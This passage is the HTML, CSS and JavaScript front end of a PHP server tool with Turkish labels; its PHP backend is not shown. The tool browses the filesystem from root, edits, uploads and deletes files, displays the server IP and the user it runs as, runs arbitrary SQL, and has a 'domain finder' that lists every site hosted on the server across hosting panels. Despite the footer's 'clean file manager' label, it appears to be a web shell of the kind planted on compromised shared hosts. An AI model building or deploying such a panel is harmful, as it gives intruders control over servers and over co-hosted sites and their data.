.badge-cpanel { background: rgba(245, 158, 11, 0.15); color: #fbbf24; border: 1px solid rgba(245, 158, 11, 0.3); }
.badge-directadmin { background: rgba(16, 185, 129, 0.15); color: #34d399; border: 1px solid rgba(16, 185, 129, 0.3); }
.badge-nginx { background: rgba(99, 102, 241, 0.15); color: #a78bfa; border: 1px solid rgba(99, 102, 241, 0.3); }
.badge-apache { background: rgba(236, 72, 153, 0.15); color: #f472b6; border: 1px solid rgba(236, 72, 153, 0.3); }
.badge-other { background: rgba(100, 100, 130, 0.15); color: #94a3b8; border: 1px solid rgba(100, 100, 130, 0.3); }
.domain-actions { display: flex; gap: 6px; flex-shrink: 0; flex-wrap: wrap; }
.domain-stats { display: flex; gap: 15px; margin-bottom: 20px; flex-wrap: wrap; }
.stat-card { background: var(--bg); border: 1px solid var(--border); border-radius: 10px; padding: 15px 25px; text-align: center; min-width: 120px; }
.stat-number { font-size: 28px; font-weight: 800; color: var(--primary); }
.stat-label { font-size: 11px; color: var(--text-dim); text-transform: uppercase; margin-top: 4px; }
.domain-search { width: 100%; padding: 10px 16px; background: var(--bg); border: 1px solid var(--border); color: var(--text); border-radius: 8px; font-size: 14px; margin-bottom: 15px; }
.domain-search:focus { outline: none; border-color: var(--primary); }
.footer { text-align: center; padding: 20px; color: var(--text-dim); font-size: 12px; border-top: 1px solid var(--border); margin-top: 30px; }
@media (max-width: 768px) {
.header { flex-direction: column; gap: 10px; padding: 12px 15px; }
.container { padding: 0 10px; }
.tabs { padding: 5px; }
.tab-btn { padding: 8px 12px; font-size: 12px; }
.card { padding: 15px; }
.domain-card { flex-direction: column; align-items: flex-start; }
.domain-actions { width: 100%; }
.file-actions-cell { flex-direction: column; }
}
</style>
</head>
<body>
<!-- Header -->
<div class="header">
<div class="header-left">
<h1>📁 <?php echo APP_NAME; ?></h1>
<span style="color: var(--text-secondary); font-size: 12px;">v<?php echo APP_VERSION; ?></span>
</div>
<div class="header-right">
<span>💻 <?php echo htmlspecialchars($system_info['server_ip']); ?></span>
<span>👤 <?php echo htmlspecialchars($system_info['current_user']); ?></span>
<span>PHP <?php echo $system_info['php_version']; ?></span>
<a href="?logout=1">Cikis Yap</a>
</div>
</div>
<!-- Main Container -->
<div class="container">
<!-- Tabs Navigation -->
<div class="tabs">
<button class="tab-btn active" onclick="switchTab('file-manager', this)">
<span>📁</span> Dosya Yoneticisi
</button>
<button class="tab-btn" onclick="switchTab('domain-finder', this)">
<span>🌐</span> Domain Bulucu
</button>
<button class="tab-btn" onclick="switchTab('db-manager', this)">
<span>🗄</span> DB Manager
</button>
<button class="tab-btn" onclick="switchTab('system-info', this)">
<span>ℹ</span> Sistem Bilgisi
</button>
</div>
<!-- File Manager Tab -->
<div id="file-manager" class="tab-content active">
<div class="card">
<div class="card-header">
<h2 class="card-title">📁 Dosya Yoneticisi</h2>
</div>
<!-- Breadcrumb -->
<div class="breadcrumb">
<strong>📂 Dizin:</strong>
<?php
$path_parts = explode(DIRECTORY_SEPARATOR, trim($current_dir, DIRECTORY_SEPARATOR));
$cum_path = '';
echo '<div id="breadcrumb-paths">';
echo '<a href="?dir=' . urlencode('/') . '">/</a>';
foreach ($path_parts as $part) {
if ($part) {
$cum_path .= DIRECTORY_SEPARATOR . $part;
echo ' / <a href="?dir=' . urlencode($cum_path) . '">' . htmlspecialchars($part) . '</a>';
}
}
echo '</div>';
?>
<input type="text" id="dir-input" placeholder="Dizin yolu girin..." value="<?php echo htmlspecialchars($current_dir); ?>">
<button class="btn btn-primary btn-sm" onclick="changeDirectory()">Git</button>
</div>
<!-- File Actions -->
<div class="file-actions">
<button class="btn btn-primary btn-sm" onclick="showModal('createFileModal')">
<span>📄</span> Yeni Dosya
</button>
<button class="btn btn-primary btn-sm" onclick="showModal('createFolderModal')">
<span>📁</span> Yeni Klasor
</button>
<button class="btn btn-info btn-sm" onclick="showModal('uploadModal')">
<span>⬆</span> Dosya Yukle
</button>
<button class="btn btn-secondary btn-sm" onclick="location.reload()">
<span>🔄</span> Yenile
</button>
</div>
<!-- Files Table -->
<div style="overflow-x: auto;">
<table class="file-table">
<thead>
<tr>
<th>Isim</th>
<th>Boyut</th>
<th>Izinler</th>
<th>Degistirilme</th>
<th>Islemler</th>
</tr>
</thead>
<tbody>
<?php if (dirname($current_dir) !== $current_dir): ?>
<tr>
<td>
<a href="?dir=<?php echo urlencode(dirname($current_dir)); ?>" class="file-name">
<span class="file-icon">⬆</span>
<span>..</span>
</a>
</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<?php endif; ?>
<?php foreach ($files as $file): ?>
<tr>
<td>
<?php if ($file['is_dir']): ?>
<a href="?dir=<?php echo urlencode($file['path']); ?>" class="file-name">
<span class="file-icon"><?php echo $file['icon']; ?></span>
<span><?php echo htmlspecialchars($file['name']); ?></span>
</a>
<button class="copy-name-btn" onclick="copyFileName(this, '<?php echo addslashes($file['name']); ?>')" title="Ismi kopyala">📋</button>
<?php else: ?>
<span class="file-name" onclick="editFile('<?php echo addslashes($file['path']); ?>', '<?php echo addslashes($file['name']); ?>')" style="cursor: pointer;">
<span class="file-icon"><?php echo $file['icon']; ?></span>
<span><?php echo htmlspecialchars($file['name']); ?></span>
</span>
<button class="copy-name-btn" onclick="copyFileName(this, '<?php echo addslashes($file['name']); ?>')" title="Ismi kopyala">📋</button>
<?php endif; ?>
</td>
<td><?php echo $file['formatted_size']; ?></td>
<td><?php echo $file['permissions']; ?></td>
<td><?php echo $file['modified']; ?></td>
<td>
<div class="file-actions-cell">
<?php if (!$file['is_dir']): ?>
<button class="btn btn-info btn-sm" onclick="editFile('<?php echo addslashes($file['path']); ?>', '<?php echo addslashes($file['name']); ?>')">
✎ Duzenle
</button>
<a href="?action=file_operation&operation=download&filepath=<?php echo urlencode($file['path']); ?>" class="btn btn-success btn-sm">
⬇ Indir
</a>
<button class="btn btn-secondary btn-sm" onclick="openInBrowser('<?php echo addslashes($file['path']); ?>')" title="Tarayicida Ac">
🌐 Ac
</button>
<?php endif; ?>
<button class="btn btn-warning btn-sm" onclick="zipItem('<?php echo addslashes($file['path']); ?>')">
📦 ZIP
</button>
<?php if (!$file['is_dir'] && strtolower(pathinfo($file['name'], PATHINFO_EXTENSION)) === 'zip'): ?>
<button class="btn btn-info btn-sm" onclick="unzipFile('<?php echo addslashes($file['path']); ?>')">
📂 Unzip
</button>
<?php endif; ?>
<button class="btn btn-danger btn-sm" onclick="deleteItem('<?php echo addslashes($file['path']); ?>', '<?php echo addslashes($file['name']); ?>')">
🗑 Sil
</button>
</div>
</td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
</div>
</div>
</div>
<!-- Domain Finder Tab -->
<div id="domain-finder" class="tab-content">
<div class="card">
<div class="card-header">
<h2 class="card-title">🌐 Domain Bulucu</h2>
</div>
<div class="alert alert-info">
<span>ℹ</span>
<div>
Sunucudaki tum domainleri otomatik olarak bulur. Desteklenen paneller: <strong>Plesk, cPanel, DirectAdmin, CyberPanel, Apache, Nginx</strong>
</div>
</div>
<div style="margin-bottom: 20px;">
<button class="btn btn-primary" onclick="scanDomains()" id="scan-domains-btn">
<span>🔍</span> Domainleri Tara
</button>
</div>
<div id="domain-loading" class="loading">
<div class="spinner"></div>
<p>Domainler taraniyor, lutfen bekleyin...</p>
</div>
<div id="domain-results" style="display: none;">
<div class="domain-stats" id="domain-stats"></div>
<input type="text" class="domain-search" id="domain-search" placeholder="🔍 Domain ara..." oninput="filterDomains()">
<div id="domain-list"></div>
</div>
</div>
</div>
<!-- DB Manager Tab -->
<div id="db-manager" class="tab-content">
<div class="card">
<div class="card-header">
<h2 class="card-title">🗄 Veritabani Yoneticisi</h2>
</div>
<div class="alert alert-info">
<span>ℹ</span>
<div>Sunucudaki veritabanlarina dogrudan baglanip SQL sorgulari calistirabilirsiniz.</div>
</div>
<form id="dbForm" onsubmit="executeSQL(event)">
<div style="display:grid; grid-template-columns:1fr 1fr; gap:15px; margin-bottom:15px;">
<div class="form-group" style="margin-bottom:0">
<label class="form-label">Host</label>
<input type="text" name="db_host" class="form-control" placeholder="localhost" value="localhost">
</div>
<div class="form-group" style="margin-bottom:0">
<label class="form-label">Database Adi *</label>
<input type="text" name="db_name" class="form-control" placeholder="veritabani_adi" required>
</div>
<div class="form-group" style="margin-bottom:0">
<label class="form-label">Kullanici Adi *</label>
<input type="text" name="db_user" class="form-control" placeholder="root" required>
</div>
<div class="form-group" style="margin-bottom:0">
<label class="form-label">Sifre</label>
<input type="password" name="db_pass" class="form-control" placeholder="veritabani sifresi">
</div>
</div>
<div class="form-group">
<label class="form-label">SQL Sorgusu *</label>
<textarea name="sql_query" class="form-control" rows="5" placeholder="SELECT * FROM users LIMIT 10;" required></textarea>
</div>
<button type="submit" class="btn btn-warning">
<span>⚡</span> SQL Sorgusunu Calistir
</button>
</form>
<div id="db-loading" class="loading">
<div class="spinner"></div>
<p>Sorgu calistiriliyor...</p>
</div>
<div id="db-result" class="result-box" style="display:none; margin-top:20px; overflow-x:auto;"></div>
</div>
</div>
<!-- System Info Tab -->
<div id="system-info" class="tab-content">
<div class="card">
<div class="card-header">
<h2 class="card-title">ℹ Sistem Bilgisi</h2>
</div>
<div class="info-grid">
<?php foreach ($system_info as $key => $value): ?>
<div class="info-item">
<div class="info-label"><?php echo htmlspecialchars(ucwords(str_replace('_', ' ', $key))); ?></div>
<div class="info-value"><?php echo htmlspecialchars($value); ?></div>
</div>
<?php endforeach; ?>
</div>
</div>
</div>
</div>
<!-- Footer -->
<div class="footer">
<p>© <?php echo date('Y'); ?> <?php echo APP_NAME; ?> v<?php echo APP_VERSION; ?> - Temiz Dosya Yonetim Araci</p>
</div>
<!-- Modals -->
<!-- Create File Modal -->
<div id="createFileModal" class="modal">
<div class="modal-content">
<div class="modal-header">
<h3 class="modal-title">📄 Yeni Dosya Olustur</h3>
<button class="modal-close" onclick="closeModal('createFileModal')">×</button>
</div>
<form id="createFileForm" onsubmit="handleCreateFile(event)">
<div class="form-group">
<label class="form-label">Dosya Adi *</label>
<input type="text" name="filename" class="form-control" placeholder="ornek.txt" required>
</div>
<div class="form-group">
<label class="form-label">Icerik (istege bagli)</label>
<textarea name="content" class="form-control" rows="10" placeholder="Dosya icerigi..."></textarea>
</div>
<button type="submit" class="btn btn-primary">
Dosya Olustur
</button>
</form>
</div>
</div>
<!-- Create Folder Modal -->
<div id="createFolderModal" class="modal">
<div class="modal-content">
<div class="modal-header">
<h3 class="modal-title">📁 Yeni Klasor Olustur</h3>
<button class="modal-close" onclick="closeModal('createFolderModal')">×</button>
</div>
<form id="createFolderForm" onsubmit="handleCreateFolder(event)">
<div class="form-group">
<label class="form-label">Klasor Adi *</label>
<input type="text" name="foldername" class="form-control" placeholder="yeni-klasor" required>
</div>
<button type="submit" class="btn btn-primary">
Klasor Olustur
</button>
</form>
</div>
</div>
<!-- Upload Modal -->
<div id="uploadModal" class="modal">
<div class="modal-content">
<div class="modal-header">
<h3 class="modal-title">⬆ Dosya Yukle</h3>
<button class="modal-close" onclick="closeModal('uploadModal')">×</button>
</div>
<form id="uploadForm" onsubmit="handleUpload(event)" enctype="multipart/form-data">
<div class="form-group">
<label class="form-label">Dosya Sec * (Maks: <?php echo formatSize(MAX_UPLOAD_SIZE); ?>)</label>
<input type="file" name="upload_file" class="form-control" required>
</div>
<button type="submit" class="btn btn-info">
Yukle
</button>
</form>
</div>
</div>
<!-- Edit File Modal -->
<div id="editFileModal" class="modal">
<div class="modal-content" style="max-width: 900px;">
<div class="modal-header">
<h3 class="modal-title">✎ Dosya Duzenle: <span id="edit-filename"></span></h3>
<button class="modal-close" onclick="closeModal('editFileModal')">×</button>
</div>
<form id="editFileForm" onsubmit="handleEditFile(event)">
<input type="hidden" name="filepath" id="edit-filepath">
<div class="form-group">
<textarea name="content" id="edit-content" class="form-control" rows="25" style="font-family: 'Courier New', monospace; font-size: 13px; tab-size: 4;"></textarea>
</div>
<div style="display: flex; gap: 10px;">
<button type="submit" class="btn btn-primary">
Kaydet (Ctrl+S)
</button>
<button type="button" class="btn btn-secondary" onclick="closeModal('editFileModal')">
Iptal
</button>
</div>
</form>
</div>
</div>
<!-- JavaScript -->
<script>
// ==================== TAB SWITCHING ====================
function switchTab(tabId, btn) {
document.querySelectorAll('.tab-content').forEach(tab => tab.classList.remove('active'));
document.querySelectorAll('.tab-btn').forEach(b => b.classList.remove('active'));
document.getElementById(tabId).classList.add('active');
btn.classList.add('active');
}
// ==================== DIRECTORY CHANGE ====================
function changeDirectory() {
const newDir = document.getElementById('dir-input').value.trim();
if (!newDir) { alert('Lutfen bir dizin yolu girin.'); return; }
const formData = new FormData();
formData.append('action', 'change_directory');
formData.append('directory', newDir);
fetch('', {method: 'POST', body: formData})
.then(r => r.json())
.then(data => {
if (data.status) {
location.href = '?dir=' + encodeURIComponent(data.current_dir);
} else {
showAlert(data.message, 'error');
}
})
.catch(err => showAlert('Hata: ' + err.message, 'error'));
}
// ==================== MODAL FUNCTIONS ====================
function showModal(modalId) { document.getElementById(modalId).classList.add('active'); }
function closeModal(modalId) { document.getElementById(modalId).classList.remove('active'); }
window.onclick = function(event) {
if (event.target.classList.contains('modal')) {
event.target.classList.remove('active');
}
}
// ==================== ALERT ====================
function showAlert(message, type) {
type = type || 'info';
const alertDiv = document.createElement('div');
alertDiv.className = 'alert alert-' + type;
var icons = { 'success': '✅', 'error': '❌', 'warning': '⚠', 'info': 'ℹ' };
alertDiv.innerHTML = '<span>' + (icons[type] || 'ℹ') + '</span><div>' + message + '</div>';
var container = document.querySelector('.container');
container.insertBefore(alertDiv, container.firstChild);
setTimeout(function() { alertDiv.remove(); }, 5000);
}
// ==================== FILE OPERATIONS ====================
function handleCreateFile(event) {
event.preventDefault();
const formData = new FormData(event.target);
formData.append('action', 'file_operation');
formData.append('operation', 'create_file');
fetch('', {method: 'POST', body: formData})
.then(r => r.json())
.then(data => {
showAlert(data.message, data.status ? 'success' : 'error');
if (data.status) { closeModal('createFileModal'); setTimeout(function() { location.reload(); }, 500); }
})
.catch(err => showAlert('Hata: ' + err.message, 'error'));
}
function handleCreateFolder(event) {
event.preventDefault();
const formData = new FormData(event.target);
formData.append('action', 'file_operation');
formData.append('operation', 'create_folder');
fetch('', {method: 'POST', body: formData})
.then(r => r.json())
.then(data => {
showAlert(data.message, data.status ? 'success' : 'error');
if (data.status) { closeModal('createFolderModal'); setTimeout(function() { location.reload(); }, 500); }
})
.catch(err => showAlert('Hata: ' + err.message, 'error'));
}
function handleUpload(event) {
event.preventDefault();
const formData = new FormData(event.target);
formData.append('action', 'file_operation');
formData.append('operation', 'upload');
fetch('', {method: 'POST', body: formData})
.then(r => r.json())
.then(data => {
showAlert(data.message, data.status ? 'success' : 'error');
if (data.status) { closeModal('uploadModal'); setTimeout(function() { location.reload(); }, 500); }
})
.catch(err => showAlert('Hata: ' + err.message, 'error'));
}
function openInBrowser(filepath) {
// Dosya yolunu web URL'sine cevir
// Bilinen document root pattern'leri
var webRoots = [
{path: '/httpdocs/', after: true},
{path: '/public_html/', after: true},
{path: '/htdocs/', after: true},
{path: '/html/', after: true},
{path: '/www/', after: true},
{path: '/web/', after: true},
{path: '/wwwroot/', after: true}
];
var relativePath = '';
var found = false;
for (var i = 0; i < webRoots.length; i++) {
var idx = filepath.indexOf(webRoots[i].path);
if (idx !== -1) {
relativePath = filepath.substring(idx + webRoots[i].path.length);
found = true;
break;
}
}
if (!found) {
// Document root'tan itibaren dene
var docRoot = <?php echo json_encode(isset($_SERVER['DOCUMENT_ROOT']) ? rtrim($_SERVER['DOCUMENT_ROOT'], '/') : ''); ?>;
if (docRoot && filepath.indexOf(docRoot) === 0) {
relativePath = filepath.substring(docRoot.length);
} else {
showAlert('Bu dosyanin web URL\'si belirlenemedi. Dosya web dizini disinda olabilir.', 'warning');
return;
}
}
// Hangi domain'e ait oldugunu bulmaya calis
var domain = window.location.hostname;
// /var/www/vhosts/DOMAIN/httpdocs/ pattern'i icin
var vhostMatch = filepath.match(/\/var\/www\/vhosts\/([^\/]+)\//);
if (vhostMatch) {
domain = vhostMatch[1];
}
// /home/DOMAIN/public_html/ pattern'i icin
var homeMatch = filepath.match(/\/home\/([^\/]+)\/public_html\//);
if (homeMatch && homeMatch[1].indexOf('.') !== -1) {
domain = homeMatch[1];
}
var url = '//' + domain + '/' + relativePath.replace(/^\//, '');
window.open(url, '_blank');
}
function editFile(filepath, filename) {
document.getElementById('edit-filename').textContent = filename;
document.getElementById('edit-filepath').value = filepath;
document.getElementById('edit-content').value = 'Yukleniyor...';
showModal('editFileModal');
const formData = new FormData();
formData.append('action', 'get_file_content');
formData.append('filepath', filepath);
fetch('', {method: 'POST', body: formData})
.then(r => r.json())
.then(data => {
if (data.status) {
document.getElementById('edit-content').value = data.content;
} else {
document.getElementById('edit-content').value = 'Hata: ' + data.message;
}
})
.catch(err => {
document.getElementById('edit-content').value = 'Hata: ' + err.message;
});
}
function handleEditFile(event) {
event.preventDefault();
const formData = new FormData(event.target);
formData.append('action', 'file_operation');
formData.append('operation', 'edit_file');
fetch('', {method: 'POST', body: formData})
.then(r => r.json())
.then(data => {
showAlert(data.message, data.status ? 'success' : 'error');
if (data.status) { closeModal('editFileModal'); }
})
.catch(err => showAlert('Hata: ' + err.message, 'error'));
}
function deleteItem(filepath, filename) {
if (!confirm(filename + ' silinsin mi? Bu islem geri alinamaz!')) return;
const formData = new FormData();
formData.append('action', 'file_operation');
formData.append('operation', 'delete_item');
formData.append('filepath', filepath);
fetch('', {method: 'POST', body: formData})
.then(r => r.json())
.then(data => {
showAlert(data.message, data.status ? 'success' : 'error');
if (data.status) setTimeout(function() { location.reload(); }, 500);
})
.catch(err => showAlert('Hata: ' + err.message, 'error'));
}
function zipItem(filepath) {
const formData = new FormData();
formData.append('action', 'file_operation');
formData.append('operation', 'zip_item');
formData.append('filepath', filepath);
showAlert('ZIP olusturuluyor...', 'info');
fetch('', {method: 'POST', body: formData})
.then(r => r.json())
.then(data => {
showAlert(data.message, data.status ? 'success' : 'error');
if (data.status) setTimeout(function() { location.reload(); }, 1000);
})
.catch(err => showAlert('Hata: ' + err.message, 'error'));
}
function unzipFile(filepath) {
const formData = new FormData();
formData.append('action', 'file_operation');
formData.append('operation', 'unzip_file');
formData.append('filepath', filepath);
showAlert('ZIP aciliyor...', 'info');
fetch('', {method: 'POST', body: formData})
.then(r => r.json())
.then(data => {
showAlert(data.message, data.status ? 'success' : 'error');
if (data.status) setTimeout(function() { location.reload(); }, 1000);
})
.catch(err => showAlert('Hata: ' + err.message, 'error'));
}
function copyFileName(btn, name) {
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(name).then(function() {
btn.classList.add('copied');
btn.innerHTML = '✓';
setTimeout(function() { btn.classList.remove('copied'); btn.innerHTML = '📋'; }, 1500);
});
} else {
var ta = document.createElement('textarea');
ta.value = name;
ta.style.position = 'fixed';
ta.style.opacity = '0';
document.body.appendChild(ta);
ta.select();
document.execCommand('copy');
document.body.removeChild(ta);
btn.classList.add('copied');
btn.innerHTML = '✓';
setTimeout(function() { btn.classList.remove('copied'); btn.innerHTML = '📋'; }, 1500);
}
}
// ==================== DOMAIN FINDER ====================
var allDomains = [];
function scanDomains() {
var btn = document.getElementById('scan-domains-btn');
btn.disabled = true;
btn.innerHTML = '<span>⌛</span> Taraniyor...';
document.getElementById('domain-loading').classList.add('active');
document.getElementById('domain-results').style.display = 'none';
var formData = new FormData();
formData.append('action', 'find_domains');
fetch('', {method: 'POST', body: formData})
.then(function(r) { return r.json(); })
.then(function(data) {
document.getElementById('domain-loading').classList.remove('active');
btn.disabled = false;
btn.innerHTML = '<span>🔍</span> Domainleri Tara';
if (data.status) {
allDomains = data.domains;
// Stats
var panelCounts = {};
data.domains.forEach(function(d) {
var p = d.panel.split(' ')[0];
panelCounts[p] = (panelCounts[p] || 0) + 1;
});
var statsHtml = '<div class="stat-card"><div class="stat-number">' + data.count + '</div><div class="stat-label">Toplam Domain</div></div>';
statsHtml += '<div class="stat-card"><div class="stat-number">' + data.panel + '</div><div class="stat-label">Panel</div></div>';
for (var panel in panelCounts) {
statsHtml += '<div class="stat-card"><div class="stat-number">' + panelCounts[panel] + '</div><div class="stat-label">' + panel + '</div></div>';
}
document.getElementById('domain-stats').innerHTML = statsHtml;
document.getElementById('domain-results').style.display = 'block';
renderDomains(data.domains);
showAlert(data.count + ' domain bulundu! (Panel: ' + data.panel + ')', 'success');
// Kisitlama uyarisi goster
if (data.restrictions && data.restrictions.length > 0) {
var warnHtml = '<div class="alert alert-warning" style="margin-top:10px;"><span>⚠</span><div><strong>Kisitlamalar tespit edildi (bazi domainler bulunamayabilir):</strong><ul style="margin:5px 0 0 15px;">';
data.restrictions.forEach(function(r) { warnHtml += '<li>' + escapeHtml(r) + '</li>'; });
warnHtml += '</ul></div></div>';
document.getElementById('domain-stats').innerHTML += warnHtml;
}
} else {
showAlert('Domain tarama basarisiz.', 'error');
}
})
.catch(function(err) {
document.getElementById('domain-loading').classList.remove('active');
btn.disabled = false;
btn.innerHTML = '<span>🔍</span> Domainleri Tara';
showAlert('Hata: ' + err.message, 'error');
});
}
function renderDomains(domains) {
var html = '';
if (domains.length === 0) {
html = '<div class="alert alert-warning"><span>⚠</span><div>Hicbir domain bulunamadi.</div></div>';
} else {
domains.forEach(function(d, i) {
var badgeClass = 'badge-other';
var p = d.panel.toLowerCase();
if (p.indexOf('plesk') !== -1) badgeClass = 'badge-plesk';
else if (p.indexOf('cpanel') !== -1) badgeClass = 'badge-cpanel';
else if (p.indexOf('directadmin') !== -1) badgeClass = 'badge-directadmin';
else if (p.indexOf('nginx') !== -1) badgeClass = 'badge-nginx';
else if (p.indexOf('apache') !== -1) badgeClass = 'badge-apache';
html += '<div class="domain-card" data-domain="' + d.domain.toLowerCase() + '">';
html += ' <div class="domain-info">';
html += ' <div class="domain-name">' + (i + 1) + '. ' + escapeHtml(d.domain) + '</div>';
html += ' <div class="domain-path">' + escapeHtml(d.document_root) + '</div>';
html += ' <span class="domain-badge ' + badgeClass + '">' + escapeHtml(d.panel) + '</span>';
if (!d.exists) {
html += ' <span class="domain-badge badge-other">Dizin Yok</span>';
}
html += ' </div>';
html += ' <div class="domain-actions">';
html += ' <button class="btn btn-info btn-sm" onclick="window.open(\'http://' + escapeHtml(d.domain) + '\', \'_blank\')" title="Tarayicida Ac">';
html += ' 🌐 Tarayicida Ac';
html += ' </button>';
html += ' <button class="btn btn-success btn-sm" onclick="window.open(\'https://' + escapeHtml(d.domain) + '\', \'_blank\')" title="HTTPS ile Ac">';
html += ' 🔒 HTTPS';
html += ' </button>';
if (d.exists) {
html += ' <button class="btn btn-primary btn-sm" onclick="goToDocRoot(\'' + escapeHtml(d.document_root) + '\')" title="Dizine Git">';
html += ' 📁 Dizine Git';
html += ' </button>';
}
html += ' </div>';
html += '</div>';
});
}
document.getElementById('domain-list').innerHTML = html;
}
function filterDomains() {
var query = document.getElementById('domain-search').value.toLowerCase();
if (!query) {
renderDomains(allDomains);
return;
}
var filtered = allDomains.filter(function(d) {
return d.domain.toLowerCase().indexOf(query) !== -1 || d.document_root.toLowerCase().indexOf(query) !== -1;
});
renderDomains(filtered);
}
function goToDocRoot(path) {
// Switch to file manager tab first
document.querySelectorAll('.tab-content').forEach(function(tab) { tab.classList.remove('active'); });
document.querySelectorAll('.tab-btn').forEach(function(b) { b.classList.remove('active'); });
document.getElementById('file-manager').classList.add('active');
document.querySelector('.tab-btn').classList.add('active');
// Navigate to directory
location.href = '?dir=' + encodeURIComponent(path);
}
function escapeHtml(str) {
var div = document.createElement('div');
div.appendChild(document.createTextNode(str));
return div.innerHTML;
}
// ==================== DATABASE MANAGER ====================
function executeSQL(event) {
event.preventDefault();
var formData = new FormData(event.target);
formData.append('action', 'execute_sql');
document.getElementById('db-loading').classList.add('active');
document.getElementById('db-result').style.display = 'none';
fetch('', {method: 'POST', body: formData})
.then(function(r) { return r.json(); })
.then(function(data) {
document.getElementById('db-loading').classList.remove('active');
var resultDiv = document.getElementById('db-result');
resultDiv.style.display = 'block';
if (data.status) {
resultDiv.innerHTML = data.html;
showAlert('SQL sorgusu basariyla calistirildi!', 'success');
} else {
resultDiv.innerHTML = '<div class="result-item result-error">' + data.message + '</div>';
showAlert(data.message, 'error');
}
})
.catch(function(err) {
document.getElementById('db-loading').classList.remove('active');
showAlert('Hata: ' + err.message, 'error');
});
}
// ==================== KEYBOARD SHORTCUTS ====================
document.addEventListener('keydown', function(e) {
if ((e.ctrlKey || e.metaKey) && e.key === 's') {
var editModal = document.getElementById('editFileModal');
if (editModal.classList.contains('active')) {
e.preventDefault();
document.getElementById('editFileForm').dispatchEvent(new Event('submit'));
}
}
if (e.key === 'Escape') {
document.querySelectorAll('.modal.active').forEach(function(modal) {
modal.classList.remove('active');
});
}
});
// Tab support in textarea
document.addEventListener('keydown', function(e) {
if (e.key === 'Tab' && e.target.tagName === 'TEXTAREA') {
e.preventDefault();
var start = e.target.selectionStart;
var end = e.target.selectionEnd;
e.target.value = e.target.value.substring(0, start) + ' ' + e.target.value.substring(end);
e.target.selectionStart = e.target.selectionEnd = start + 4;
}
});
// Enter on dir-input
document.getElementById('dir-input').addEventListener('keydown', function(e) {
if (e.key === 'Enter') { e.preventDefault(); changeDirectory(); }
});
</script>
</body>
</html>